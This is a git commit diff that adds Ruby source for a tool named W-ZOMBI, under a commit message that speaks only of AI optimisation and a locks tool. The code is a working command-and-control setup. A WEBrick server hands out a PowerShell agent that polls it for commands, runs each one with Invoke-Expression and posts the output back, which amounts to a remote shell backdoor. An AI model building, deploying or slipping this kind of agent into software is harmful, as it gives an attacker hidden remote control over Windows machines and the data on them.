[P2604] Fase 15: Optimización IA e integración de herramienta candados. Sincronización de bitácoras y actualización de planes de proyecto.

This commit is contained in:
Ricardo Monla
2026-03-19 09:52:29 -03:00
parent 183dbf6fb6
commit 5aa37e7221
138 changed files with 8777 additions and 464 deletions
@@ -0,0 +1,25 @@
require 'json'
module WZombi
class CommandStore
def initialize(path)
@path = path
init_file
end
def init_file
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
end
def current
JSON.parse(File.read(@path))
end
def update(cmd)
data = current
data["id"] += 1
data["cmd"] = cmd
File.write(@path, data.to_json)
end
end
end
@@ -0,0 +1,22 @@
module WZombi
class Config
attr_reader :puerto, :base_path
def initialize(base_path:)
@base_path = base_path
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
end
def log_path
File.join(base_path, "data/telemetria.log")
end
def cmd_path
File.join(base_path, "data/cmd.json")
end
def payloads_path
File.join(base_path, "payloads")
end
end
end
@@ -0,0 +1,36 @@
module WZombi
module Engine
class PS1Builder
def self.build(host:)
<<~PS1
# W-ZOMBI ENGINE
$WZ_HOST = "#{host}"
$LAST_CMD_ID = 0
function Get-Cmd {
try {
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd"
} catch {}
}
function Send-Log {
param([string]$msg)
try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
} catch {}
}
while ($true) {
$cmdData = Get-Cmd
if ($cmdData.id -ne $LAST_CMD_ID) {
$LAST_CMD_ID = $cmdData.id
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
Send-Log $result
}
Start-Sleep -Seconds 5
}
PS1
end
end
end
end
@@ -0,0 +1,12 @@
module WZombi
class Logger
def initialize(path)
@path = path
end
def log(msg)
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
File.open(@path, "a") { |f| f.puts(line) }
end
end
end
@@ -0,0 +1,16 @@
require 'json'
module WZombi
module Routes
class Cmd
def initialize(config)
@config = config
end
def call(_req, res)
res['Content-Type'] = 'application/json'
res.body = File.read(@config.cmd_path)
end
end
end
end
@@ -0,0 +1,14 @@
module WZombi
module Routes
class Log
def initialize(config)
@config = config
end
def call(req, res)
File.open(@config.log_path, "a") { |f| f.puts(req.body) }
res.body = "OK"
end
end
end
end
@@ -0,0 +1,15 @@
require_relative '../engine/ps1_builder'
module WZombi
module Routes
class Zombi
def initialize(config)
@config = config
end
def call(_req, res)
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
end
end
end
end
@@ -0,0 +1,25 @@
require 'webrick'
require_relative 'routes/zombi'
require_relative 'routes/cmd'
require_relative 'routes/log'
module WZombi
class Server
def initialize(config)
@config = config
end
def start
server = WEBrick::HTTPServer.new(Port: @config.puerto)
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
trap("INT") { server.shutdown }
puts "[W-ZOMBI] Servidor corriendo en puerto #{@config.puerto}"
server.start
end
end
end